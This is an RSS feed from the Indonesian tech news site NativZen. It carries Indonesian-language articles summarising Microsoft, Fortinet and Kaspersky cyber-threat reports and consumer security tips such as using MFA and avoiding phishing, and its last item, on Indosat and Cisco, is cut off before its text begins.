<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>ancaman siber &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/ancaman-siber/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Thu, 30 Oct 2025 05:19:07 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>ancaman siber &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Microsoft: Password Lemah &#038; AI Jahil Jadi Ancaman Utama</title>
		<link>https://nativzen.com/2025/10/30/microsoft-password-lemah-ai-jahil-jadi-ancaman-utama/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 30 Oct 2025 05:19:02 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[ancaman siber]]></category>
		<category><![CDATA[digital defense report 2025]]></category>
		<category><![CDATA[keamanan data]]></category>
		<category><![CDATA[microsoft]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=23701</guid>

					<description><![CDATA[Microsoft baru saja merilis Digital Defense Report 2025, dan hasilnya cukup bikin waspada.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Dunia digital makin canggih, tapi ancamannya juga makin mengkhawatirkan. Microsoft baru saja merilis Digital Defense Report 2025, dan hasilnya cukup bikin waspada — terutama buat kita yang hidupnya tidak jauh dari smartphone, laptop, dan internet 24/7.</p>



<p>Menurut laporan tersebut, 52% serangan siber di dunia dilakukan demi uang, dan 80% insiden yang ditangani Microsoft berkaitan dengan pencurian data. Jadi kalau masih merasa “ah, data gue nggak penting”, mungkin sudah waktunya upgrade cara pikir.</p>



<p>Satu fakta yang bikin kaget: 97% serangan identitas terjadi karena password ditebak secara massal. Yup, bayangkan hacker menebak password jutaan akun sekaligus — dan banyak yang berhasil karena password masih “123456”, “qwerty”, atau nama pacar.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-1024x576.jpg" alt="" class="wp-image-23702" srcset="https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-1024x576.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-300x169.jpg 300w, https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-768x432.jpg 768w, https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-1536x864.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-2048x1152.jpg 2048w, https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-370x208.jpg 370w, https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-270x152.jpg 270w, https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-570x321.jpg 570w, https://nativzen.com/wp-content/uploads/2025/10/Foto-1-Microsoft-Digital-Defense-Report-2025-740x416.jpg 740w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading"><strong>Posisi Indonesia di Peta Siber Asia</strong></h4>



<p>Indonesia masuk peringkat ke-12 negara dengan aktivitas siber tertinggi di Asia Pasifik — menyumbang 3,6% serangan kawasan. Salah satu serangan yang banyak terjadi? Malware Lumma Stealer, yang sudah menyerang 14 ribu perangkat di Indonesia hanya dalam enam bulan pertama 2025.</p>



<p>“Kita tentunya merasakan bersama bahwa ekonomi digital Indonesia maju pesat, tapi keamanannya harus ikut naik level,” ujar Dharma Simorangkir, President Director Microsoft Indonesia.</p>



<p>Dengan kata lain, Dharma ingin menegaskan bahwa makin digital hidup kita, makin besar tanggung jawab untuk menjaga data pribadi, terutama yang tersimpan pada perangkat mobile, seperti smartphone, tablet, dan notebook.</p>



<h4 class="wp-block-heading"><strong>Ancaman Siber yang Lagi Tren</strong></h4>



<p>Microsoft sejauh ini telah mencatat ada tiga tren besar yang harus diperhatikan terkait dengan ancaman siber:</p>



<ul>
<li><strong>Serangan berbasis identitas naik 32%</strong>: Password spray &amp; token abuse makin sering. Solusi? MFA (multi-factor authentication) — bisa mencegah hingga 99% serangan.</li>



<li><strong>Ransomware makin pintar</strong>: Nggak cuma nge-lock data, tapi juga mencuri dulu buat diperas. Target favorit: rumah sakit, kampus, dan pemda.</li>



<li><strong>Infostealer makin jadi pintu masuk hacker</strong>: Malware ini diam-diam nyedot password &amp; data login lewat iklan palsu atau hasil pencarian palsu.</li>
</ul>



<h4 class="wp-block-heading"><strong>AI: Senjata Ganda — Bisa Lindungi, Bisa Rusak</strong></h4>



<p>Seperti yang kita tahu, AI alias kecerdasan buatan juga terus berkembang. Namun, tak sedikit yang merasakan bahwa teknologi ini sekarang jadi pedang bermata dua. Hacker pakai AI untuk membuat:</p>



<ul>
<li>bikin phishing yang keliatan legit (tingkat klik naik jadi 54%!)</li>



<li>mempercepat cari celah keamanan</li>



<li>nge-spam serangan lebih masif</li>
</ul>



<p>Tapi AI juga bisa menjadi tameng lewat tools seperti Microsoft Security Copilot dan Sentinel, yang bisa mendeteksi serangan dalam hitungan detik. Oleh karena itu, AI itu bukan jahat, ini tergantung siapa yang menggunakan teknologi tersebut.</p>



<h4 class="wp-block-heading"><strong>Tips Anti-Hack Biar Data Aman</strong></h4>



<p>Microsoft kasih lima langkah simpel yang bisa dimulai dari sekarang:</p>



<ul>
<li>Aktifkan MFA</li>



<li>Batasi akses &amp; permission</li>



<li>Rutin update sistem &amp; aplikasi</li>



<li>Tingkatkan literasi keamanan digital</li>



<li>Gunakan AI secara aman &amp; bertanggung jawab</li>
</ul>



<p>Oleh karena itu, jangan asal klik link, jangan sembarangan install aplikasi, dan jangan pakai password yang mudah ditebak. Dunia digital 2025 semakin seru, tapi juga semakin liar.<br>Kabar baiknya, kita bisa tetap aman kalau lebih &#8220;<strong>aware</strong>&#8221; dengan keamanan digital.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Fortinet: Bersiaplah untuk Ancaman Siber Berbasis AI</title>
		<link>https://nativzen.com/2024/12/14/fortinet-bersiaplah-untuk-ancaman-siber-berbasis-ai/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sat, 14 Dec 2024 03:14:57 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[ancaman siber]]></category>
		<category><![CDATA[cybercrime]]></category>
		<category><![CDATA[fortinet]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=14711</guid>

					<description><![CDATA[Laporan Fortinet menyoroti pergeseran ancaman serangan siber ke arah strategi yang lebih ambisius, canggih, dan destruktif dengan memanfaatkan AI. ]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Fortine baru-baru ini telah merilis <a href="https://www.fortinet.com/content/dam/maindam/PUBLIC/02_MARKETING/08_Report/report_2025-threat-predictions.pdf" target="_blank" rel="noreferrer noopener">Laporan Prediksi Ancaman Siber 2025</a>. Laporan tersebut memberikan wawasan penting tentang lanskap serangan siber alias cybercrime yang terus berkembang. </p>



<p>Meskipun pelaku ancaman masih menggunakan taktik klasik yang telah bertahan selama beberapa dekade, laporan ini menyoroti pergeseran ke arah strategi yang lebih ambisius, canggih, dan destruktif. </p>



<p>Kelompok Cybercrime-as-a-Service (CaaS) juga menjadi semakin terspesialisasi. Sementara, pelaku ancaman mulai mengadopsi panduan serangan yang menggabungkan ancaman digital dan fisik untuk melancarkan serangan yang sangat terarah dan berdampak.</p>



<p>Laporan yang dikembangkan oleh FortiGuard Labs ini menganalisis evolusi metode serangan tradisional, tren baru yang membentuk masa depan kejahatan siber, serta memberikan rekomendasi praktis bagi organisasi untuk memperkuat ketahanan mereka. </p>



<p>Laporan ini juga memberikan pandangan tentang tantangan yang ditimbulkan oleh lanskap ancaman yang terus berubah dengan cepat, sekaligus membekali bisnis dengan wawasan yang diperlukan untuk secara proaktif menghadapi ancaman siber yang semakin canggih.</p>



<p>&#8220;Seiring dengan terus berkembangnya taktik pelaku kejahatan siber, tahun 2025 diperkirakan akan membawa gelombang baru serangan yang sangat terfokus dan didukung oleh AI alias kecerdasan buatan,&#8221; ujar Edwin Lim, Country Director, Fortinet Indonesia.</p>



<p>Ditambahkan Edwin bahwa mulai dari meningkatnya layanan Cybercrime-as-a-Service hingga konvergensi antara ancaman siber dan fisik, tren ini mencerminkan bagaimana para pelaku ancaman mendorong batasan melancarkan serangan yang lebih presisi dan berskala besar. </p>



<h3 class="wp-block-heading"><strong>Tren Ancaman Baru yang Perlu Diperhatikan</strong></h3>



<p>Seiring dengan berkembangnya kejahatan dunia maya, kami mengantisipasi munculnya beberapa tren unik pada tahun 2025 dan di masa mendatang. Berikut ini sekilas tentang apa yang kami prediksikan.</p>



<ul>
<li><strong>Meningkatnya Keahlian dalam Rantai Serangan:</strong> Dalam beberapa tahun terakhir, pelaku kejahatan siber semakin banyak menghabiskan waktu “di fase booming” (left of boom), khususnya pada tahap pengintaian dan persenjataan dalam rantai serangan siber (cyber kill chain). Akibatnya, aktor ancaman kini dapat melancarkan serangan yang lebih terarah dengan cepat dan presisi. Sebelumnya, kami sering mengamati banyak penyedia Crime-as-a-Service (CaaS) bertindak sebagai &#8216;serba bisa&#8217;—menyediakan segala yang dibutuhkan pembeli untuk melakukan serangan, mulai dari kit phishing hingga muatan berbahaya. Namun, kami memperkirakan bahwa kelompok CaaS akan semakin beralih ke spesialisasi, dengan banyak kelompok fokus pada menyediakan layanan yang menargetkan hanya satu segmen tertentu dari rantai serangan.<br></li>



<li><strong>Cloud dengan Peluang Serangan Siber:</strong> Meskipun perangkat edge tetap menjadi target utama bagi pelaku ancaman, ada bagian lain dari permukaan serangan yang harus mendapatkan perhatian serius dari para pembela keamanan di tahun-tahun mendatang: lingkungan cloud mereka. Meskipun teknologi cloud bukan hal baru, minat pelaku kejahatan siber terhadapnya terus meningkat. Mengingat sebagian besar organisasi mengandalkan berbagai penyedia layanan cloud, tidak mengherankan jika semakin banyak kerentanan khususnya cloud dimanfaatkan oleh penyerang—tren yang diperkirakan akan terus berkembang di masa depan.<br></li>



<li><strong>Alat Peretasan Otomatis Memasuki Pasar Gelap:</strong> Beragam vektor serangan dan kode terkait kini tersedia di pasar Crime-as-a-Service (CaaS), seperti kit phishing, Ransomware-as-a-Service, DDoS-as-a-Service, dan lainnya. Meskipun beberapa kelompok kejahatan siber sudah mulai memanfaatkan AI untuk memperkuat layanan CaaS mereka, diperkirakan tren ini akan semakin berkembang. Juga diprediksi bahwa penyerang akan memanfaatkan output otomatis dari LLM (Large Language Model) untuk mendukung layanan CaaS dan memperluas pasar, misalnya dengan memanfaatkan hasil pengintaian media sosial dan mengotomatisasi intelejen tersebut menjadi kit phishing yang dikemas secara rapi.</li>
</ul>



<ul>
<li><strong>Playbook/Strategi Kejahatan Siber Kini Mencakup Ancaman Dunia Nyata: </strong>Pelaku kejahatan siber terus mengembangkan strategi mereka, dengan serangan yang semakin agresif dan destruktif. Diprediksi bahwa mereka akan memperluas playbook mereka dengan menggabungkan serangan siber dan ancaman fisik di dunia nyata. Saat ini, beberapa kelompok kejahatan siber sudah mulai mengancam fisik eksekutif dan karyawan sebuah organisasi, dan diperkirakan hal ini akan menjadi bagian rutin dari banyak playbook di masa depan. Selain itu, diprediksi bahwa kejahatan transnasional—seperti perdagangan narkoba, penyelundupan manusia atau barang, dan lainnya—akan menjadi elemen reguler dalam playbook yang lebih canggih, di mana kelompok kejahatan siber dan organisasi kejahatan transnasional bekerja sama.<br></li>



<li><strong>Kerangka Kerja Anti-Pelaku Ancaman Akan Berkembang:</strong> Seiring dengan terus berkembangnya strategi pelaku kejahatan siber, komunitas keamanan siber global juga dapat mengembangkan langkah-langkah responsif yang setara. Upaya kolaborasi global, kemitraan antara sektor publik dan swasta, serta pengembangan kerangka kerja untuk menghadapi ancaman adalah langkah-langkah penting untuk meningkatkan ketahanan kolektif kita. Berbagai <a href="https://www3.weforum.org/docs/WEF_Cybercrime_Atlas_2024.pdf" target="_blank" rel="noreferrer noopener">upaya terkait</a>—seperti Cybercrime Atlas dari World Economic Forum, yang didukung oleh Fortinet sebagai anggota pendiri—sudah berjalan, dan diperkirakan lebih banyak inisiatif kolaboratif akan muncul untuk secara signifikan mengganggu aktivitas kejahatan siber.</li>
</ul>



<h3 class="wp-block-heading"><strong>Meningkatkan Ketahanan Kolektif</strong></h3>



<p>Pelaku kejahatan siber akan selalu mencari cara baru untuk menyusup ke dalam organisasi. Namun, terdapat banyak peluang bagi komunitas keamanan siber untuk berkolaborasi dalam mengantisipasi langkah berikutnya dari para pelaku ancaman.</p>



<p>Nilai dari upaya lintas industri dan kemitraan publik-swasta tidak dapat diremehkan, dan kami memperkirakan jumlah organisasi yang terlibat dalam kolaborasi semacam ini akan terus meningkat dalam beberapa tahun mendatang. </p>



<p>&#8220;Organisasi atau perusahaan juga harus ingat bahwa keamanan siber adalah tanggung jawab semua pihak, bukan hanya tim keamanan dan TI. Misalnya, penerapan kesadaran dan pelatihan keamanan secara menyeluruh di seluruh perusahaan,&#8221; tambah Edwin.</p>



<p>Terakhir, pihak lain juga memiliki tanggung jawab untuk mempromosikan dan mematuhi praktik keamanan siber yang kuat, mulai dari pemerintah hingga vendor yang memproduksi produk keamanan yang kita andalkan.</p>



<p>&#8220;Tidak ada organisasi atau tim keamanan yang dapat menghentikan kejahatan siber sendirian. Bekerja sama di seluruh industri, kita secara kolektif berada dalam posisi yang lebih baik untuk melawan pelaku ancaman dan melindungi masyarakat secara efektif,&#8221; pungkas Edwin.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Microsoft Bagikan 3 Tips Belanja Lebih Aman di Harbolnas 12.12</title>
		<link>https://nativzen.com/2024/12/10/3-tips-belanja-lebih-aman-di-harbolnas-12-12-dari-microsoft/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 10 Dec 2024 09:25:13 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[ancaman siber]]></category>
		<category><![CDATA[belanja online]]></category>
		<category><![CDATA[cybercrime]]></category>
		<category><![CDATA[harbolnas 12.12]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=14561</guid>

					<description><![CDATA[Menyambut Harbolnas 12.12, besar kemungkinan para pelaku kejahatan siber ikut bersiap melancarkan serangan yang semakin canggih.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Selama dua belas tahun terakhir, momen Harbolnas 12.12 menjadi momen belanja online paling dinanti di Indonesia. Tahun lalu, total transaksi mencapai Rp 25,7 triliun, naik jauh dari Rp 9,1 triliun pada tahun 2019. </p>



<p>Tahun ini, pemerintah menargetkan lebih dari Rp 29 triliun. Ini sebuah angka yang menunjukkan betapa antusiasnya masyarakat dalam berburu diskon online. Namun, seiring dengan lonjakan transaksi online ini, terdapat risiko ancaman siber yang semakin tinggi dan harus diwaspadai. </p>



<p>Menurut <a href="https://news.microsoft.com/id-id/2024/10/31/microsoft-rilis-digital-defense-report-2024-bagikan-perubahan-lanskap-ancaman-siber-dan-peran-ai/">Microsoft Digital Defense Report 2024</a>, ancaman seperti phishing dan Adversary-in-the-Middle (AiTM) semakin canggih. Di Indonesia sendiri, BSSN telah mencatat lebih dari 102,95 juta anomali lalu lintas siber selama paruh pertama tahun 2024.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="683" src="https://nativzen.com/wp-content/uploads/2024/12/2148455144-1024x683.jpg" alt="" class="wp-image-14562" srcset="https://nativzen.com/wp-content/uploads/2024/12/2148455144-1024x683.jpg 1024w, https://nativzen.com/wp-content/uploads/2024/12/2148455144-300x200.jpg 300w, https://nativzen.com/wp-content/uploads/2024/12/2148455144-768x513.jpg 768w, https://nativzen.com/wp-content/uploads/2024/12/2148455144-370x247.jpg 370w, https://nativzen.com/wp-content/uploads/2024/12/2148455144-270x180.jpg 270w, https://nativzen.com/wp-content/uploads/2024/12/2148455144-570x380.jpg 570w, https://nativzen.com/wp-content/uploads/2024/12/2148455144-740x494.jpg 740w, https://nativzen.com/wp-content/uploads/2024/12/2148455144.jpg 1500w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>“Menyambut momen besar seperti Harbolnas 12.12, besar kemungkinan para pelaku kejahatan siber ikut bersiap untuk melancarkan serangan dengan taktik yang semakin canggih,&#8221; ucap Panji Wasmana, National Technology Officer, Microsoft Indonesia. </p>



<p>Panji menambahkan bahwa umumnya para pelaku kejahatan tersebut akan memanfaatkan rasa terburu-buru pembeli menyelesaikan transaksi dengan diskon besar, stok terbatas, dan durasi penawaran singkat, yang membuat pembeli luput memeriksa keaslian website atau e-mail promosi.</p>



<h3 class="wp-block-heading">Jenis Ancaman Siber yang Rawan Terjadi Jelang Harbolnas</h3>



<p>Salah satu ancaman yang rawan muncul pada ajang pesta belanja online adalah phishing. Ini suatu bentuk serangan siber yang bertujuan mencuri atau merusak data sensitif dengan menipu orang agar mengungkapkan informasi pribadi. </p>



<p>Pada konteks Harbolnas 12.12, serangan ini dapat terjadi ketika pembeli diarahkan ke website palsu atau nomor rekening palsu melalui e-mail promosi, pesan teks, telepon, dan juga bahkan dengan kode QR.</p>



<p>Situs ini meniru platform belanja asli dan menipu pengguna untuk memasukkan informasi sensitif seperti detail kartu kredit dan kata sandi. Menurut Microsoft Digital Defense Report 2024, metode QR code phishing kini menjadi salah satu trik favorit para penjahat siber.</p>



<p>Ancaman lain yaitu techscams. Di sini, pelaku kejahatan biasanya menghubungi pengguna setelah mereka mengklik iklan atau mengunjungi situs belanja tertentu, dengan menyamar sebagai perusahaan besar untuk meyakinkan pengguna.</p>



<p>Di sini, pelaku kejahatan akan meminta pengguna untuk membagikan informasi sensitif atau membayar layanan palsu untuk “memperbaiki” masalah yang sebenarnya tidak ada. Microsoft melaporkan bahwa techscams telah menyebabkan kerugian finansial yang signifikan.</p>



<p>Techscams dapat merugikan pembeli hingga sepuluh kali lipat lebih besar dibandingkan serangan phishing tradisional. Oleh karena itu, penting bagi pembeli untuk tetap waspada dan selalu memeriksa keaslian penawaran serta website yang digunakan.</p>



<p>Selanjutnya, ada pula serangan Adversary-in-the-Middle (AiTM). Ini sebuah teknik serangan phishing di mana penyerang menempatkan diri mereka di antara pengguna dan layanan otentikasi yang sah. </p>



<p>Teknik ini memanfaatkan apa yang disebut sebagai Multi Factor Authentication (MFA) fatigue. Pelaku membanjiri pengguna dengan permintaan autentikasi palsu yang berulang, berharap pengguna secara tidak sengaja menyetujui upaya login yang sebetulnya tidak ada.</p>



<h3 class="wp-block-heading">Tips Belanja Aman di Harbolnas 12.12:</h3>



<p>Menyadari ancaman tersebut, berikut adalah beberapa tips dari Microsoft untuk meningkatkan keamanan saat berbelanja online:</p>



<ul>
<li><strong>Jangan terburu-buru mengklik link, membuka lampiran, atau melakukan transfer tanpa mengecek ulang:</strong> Selalu periksa kembali link dan lampiran dalam email promosi, penawaran diskon via telepon, ataupun link yang ditautkan dalam QR code. Biasakan untuk mengecek website dan akun media sosial resmi retailer untuk memastikan keaslian penawaran. Waspadai komunikasi palsu dengan nama domain yang mirip atau elemen mencurigakan.</li>



<li><strong>Gunakan jenis autentikasi yang lebih kuat:</strong> Pertimbangkan untuk menggunakan password manager yang dapat membantu Anda membuat serta menyimpan password unik di masing-masing situs secara aman. Sebisa mungkin, tambahkan lapisan keamanan ekstra pada akun Anda dengan mengaktifkan MFA. MFA merupakan lapisan keamanan kedua, yang berdasarkan Microsoft Digital Defense Report, dapat memblokir 99% serangan berbasis password. Tidak lupa, ketika perangkat, website, dan aplikasi sudah memungkinkan, beralihlah ke passkey, sebuah metode autentikasi dengan kunci digital pribadi yang dilindungi oleh data biometrik (seperti wajah dan sidik jari) atau PIN. Kunci ini hanya berfungsi pada situs web atau aplikasi tempat pengguna membuatnya, dan hanya dapat diakses jika pengguna yang sama membukanya dengan biometrik atau PIN mereka.</li>



<li><strong>Amankan perangkat dengan update dan patches terbaru:</strong> Biasakan untuk melakukan update terhadap perangkat dan aplikasi, baik itu desktop maupun mobile. Hindari menggunakan Wi-Fi publik saat melakukan transaksi keuangan.</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Tips dari Kaspersky untuk Terhindar dari Serangan Siber</title>
		<link>https://nativzen.com/2024/09/02/tips-dari-kaspersky-untuk-terhindar-dari-serangan-siber/</link>
		
		<dc:creator><![CDATA[Christopher Louis]]></dc:creator>
		<pubDate>Mon, 02 Sep 2024 08:44:38 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[ancaman siber]]></category>
		<category><![CDATA[kaspersky]]></category>
		<category><![CDATA[serangan siber]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=11205</guid>

					<description><![CDATA[Kaspersky berhasil menggagalkan hampir 5 juta ancaman serangan siber yang menargetkan pengguna internet di Indonesia. ]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Perkembangan teknologi yang semakin pesat juga akan berpengaruh dengan serangan siber yang sangat bervariatif. Salah satu negara yang menjadi targer serangan siber adalah Indonesia.</p>



<p>Kaspersky sebagai salah satu solusi penyedia software keamanan data mengklaim bahwa sudah berhasil menggagalkan hampir 5 juta ancaman serangan siber yang menargetkan pengguna internet di Indonesia. </p>



<p>Menurut Kaspersky, mereka juga sudah berdialog dengan pemerintah RI dan mengusulkan adanya pembentukan Akademi Keamanan Siber. Hal ini bertujuan agar bisa mendukung dalam penguatan keamanan siber di Indonesia.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="1000" height="658" src="https://nativzen.com/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-02-at-11.30.48_edcd2138.jpg" alt="" class="wp-image-11207" srcset="https://nativzen.com/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-02-at-11.30.48_edcd2138.jpg 1000w, https://nativzen.com/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-02-at-11.30.48_edcd2138-300x197.jpg 300w, https://nativzen.com/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-02-at-11.30.48_edcd2138-768x505.jpg 768w, https://nativzen.com/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-02-at-11.30.48_edcd2138-370x243.jpg 370w, https://nativzen.com/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-02-at-11.30.48_edcd2138-270x178.jpg 270w, https://nativzen.com/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-02-at-11.30.48_edcd2138-570x375.jpg 570w, https://nativzen.com/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-02-at-11.30.48_edcd2138-740x487.jpg 740w" sizes="(max-width: 1000px) 100vw, 1000px" /></figure>



<p>Laporan Kaspersky Security Network (KSN) untuk kuartal II (Q2) 2024 mengungkap adanya penurunan hingga 38,08% dalam upaya serangan siber terhadap pengguna internet Indonesia dari April hingga Juni tahun ini dibandingkan periode yang sama tahun lalu. </p>



<p>Sementara itu, online threats pada periode April hingga  Juni 2023, Kaspersky mendeteksi adanya 7.729.320 ancaman, dan masuk pada Q1 2024 terdapat 5.863.955 ancaman. Kemudian, Q2 2024 terdapat 4.785.898 ancaman yang terdeteksi. </p>



<p>Ini bisa diartikan bahwa para pelaku penyerangan siber ini sudah sejak lama menargetkan pengguna di Indonesia. Kemudian, untuk local threats pada Q2 2023 terdapat 13.015.667 ancaman, masuk ke Q1 2024 terdapat 10.094.667 ancaman.</p>



<p>Terakhir, pada Q2 2024 terdapat 8.392.651 ancaman yang terdeteksi. Melalui data tersebut bisa disimpulkan bahwa memang para pelaku penyerangan siber sudah mengawasi perilaku para pengguna, dan dianggap cukup mudah untuk dijadikan sebagai korban.</p>



<h3 class="wp-block-heading">Hampir 5 Juta Ancaman Online pada Tahun 2024</h3>



<p>Menurut laporan Kaspersky terbaru, sebanyak 4.785.898 deteksi ancaman online berhasil diblokir selama periode April hingga Juni tahun ini. Angka ini turun 38,08% dibandingkan dengan 7.729.320 deteksi pada periode yang sama tahun lalu.</p>



<p>Selain itu, angka ini juga sedikit menurun (18,38%) dibandingkan dengan periode Januari hingga Maret (Q1 2024) dengan 5.863.955 deteksi ancaman online. Secara keseluruhan, 18,4% pengguna diserang oleh ancaman berbasis web selama periode Q2 2024. </p>



<p>Angka ini menempatkan Indonesia di peringkat ke-105 di seluruh dunia dalam hal bahaya yang terkait dengan penjelajahan web. Karena itu, Kaspersky meminta para pengguna internet di Indonesia agar tetap waspada dengan ancaman siber yang terus mengintai.</p>



<h3 class="wp-block-heading">Lebih dari 8 juta Ancaman Lokal pada Tahun 2024</h3>



<p>Penggunaan statistik infeksi lokal pada komputer pengguna merupakan indikator yang tak kalah penting untuk diketahui. Worm dan virus file merupakan penyebab sebagian besar dari insiden  tersebut. </p>



<p>Data ini menunjukkan seberapa sering pengguna diserang oleh malware yang menyebar melalui drive USB yang dapat dilepas, CD dan DVD, serta metode &#8220;offline&#8221; lainnya. Secara umum, 21,9% pengguna diserang oleh ancaman lokal pada April hingga Juni 2024. </p>



<p>Produk Kaspersky mendeteksi 8.392.651 insiden lokal pada komputer partisipan KSN di Indonesia. Angka ini menurun 35,52% dibandingkan periode yang sama tahun lalu (Q2 2023) dengan 13.015.667 deteksi. </p>



<p>Seperti dijelaskan oleh Yeo Siang Tiong, General Manager South East Asia and Asia Emerging Countries Kaspersky bahwa di tengah lanskap ancaman siber yang terus berkembang, penting bagi setiap individu untuk memiliki kebersihan siber yang baik dalam diri mereka. </p>



<p>&#8220;Upaya serangan di dunia siber akan terus berkembang dalam hal teknis, target, dan eksekusinya. Selain tantangan risiko siber di atas, kita juga memiliki masa depan yang menjanjikan karena kemajuan teknologi,” jelas Yeo Siang Tiong.</p>



<h3 class="wp-block-heading">Tips Terhindar dari Serangan Siber</h3>



<p>Kaspersky memberikan beberapa upaya agar bisa menghindari serangan online. Tindakan-tindakan yang disarankan oleh Kaspersky diklaim mampu untuk meminimalisir serangan siber yang sedang marak dilakukan. Maka dari itu, berikut adalah beberapa tindakan yang disarankan.</p>



<p>Pertama adalah kamu wajib untuk berpikir panjang dan memiliki sifat skeptis terhadap segala hal. Jadi, kamu tidak akan mudah mengklik tautan yang dianggap meragukan dalam e-mail atau pesan teks yang diterima. </p>



<p>Bahkan, dengan kamu tidak membuka e-mail yang dikirimkan oleh alamat e-mail yang meragukan, kamu sudah bisa terhindar dari serangan siber. Kemudian, kamu bisa mulai mengunduh aplikasi pada platform yang sudah terbukti dan terpercaya. </p>



<p>Google Play Store, dan App Store adalah dua platform yang bisa kamu gunakan untuk mengunduh aplikasi. Jika kamu menggunakan Windows, maka kamu bisa menggunakan laman web yang terpercaya dan sesuai dengan aplikasi yang ingin kamu unduh.</p>



<p>Biasakan juga untuk tidak memberikan izin aksesibilitas pada setiap aplikasi yang kamu unduh. Menurut Kaspersky, sangat sedikit aplikasi yang memerlukan kendali atas aksesibilitas penggunaannya. Maka dari itu, tindakan ini akan sangat krusial untuk dilakukan.</p>



<p>Ubah password setiap akun secara berkala. Tindakan BruteForce menjadi salah satu yang sering dilakukan ketika pelaku serangan siber sudah mengetahui e-mail yang kamu gunakan. Dengan mengganti Password secara berkala akan sangat membantu kamu meminimalisir serangan siber.</p>



<p>Terakhir, jika kamu berada di lingkungan publik, usahakan untuk tidak terhubung dengan WiFi publik. Pada saat kamu terhubung dengan WiFi publik yang mencurigakan, maka pelaku serangan siber akan dengan mudah melihat data yang ada pada gadget yang kamu gunakan.</p>



<p>Berdasarkan data yang diberikan oleh Kaspersky Security Network, pengguna di Indonesia memang menjadi sasaran empuk bagi para pelaku serangan siber. Ini bermula dari perilaku pengguna di Indonesia yang abai terhadap serangan siber. Jadi, kamu harus terus waspada!</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>MWC 2024: Kolaborasi Indosat dan Cisco Cegah Ancaman Siber</title>
		<link>https://nativzen.com/2024/02/29/mwc-2024-kolaborasi-indosat-dan-cisco-cegah-ancaman-siber/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Thu, 29 Feb 2024 00:02:08 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TELKO]]></category>
		<category><![CDATA[ancaman siber]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[indosat]]></category>
		<category><![CDATA[mwc 2024]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=4506</guid>

					<description><![CDATA[Indosat jalin kerjasama dengan Cisco untuk memperkenalkan layanan security edge terbaru guna mencegah ancaman siber.]]></description>
										<content:encoded><![CDATA[
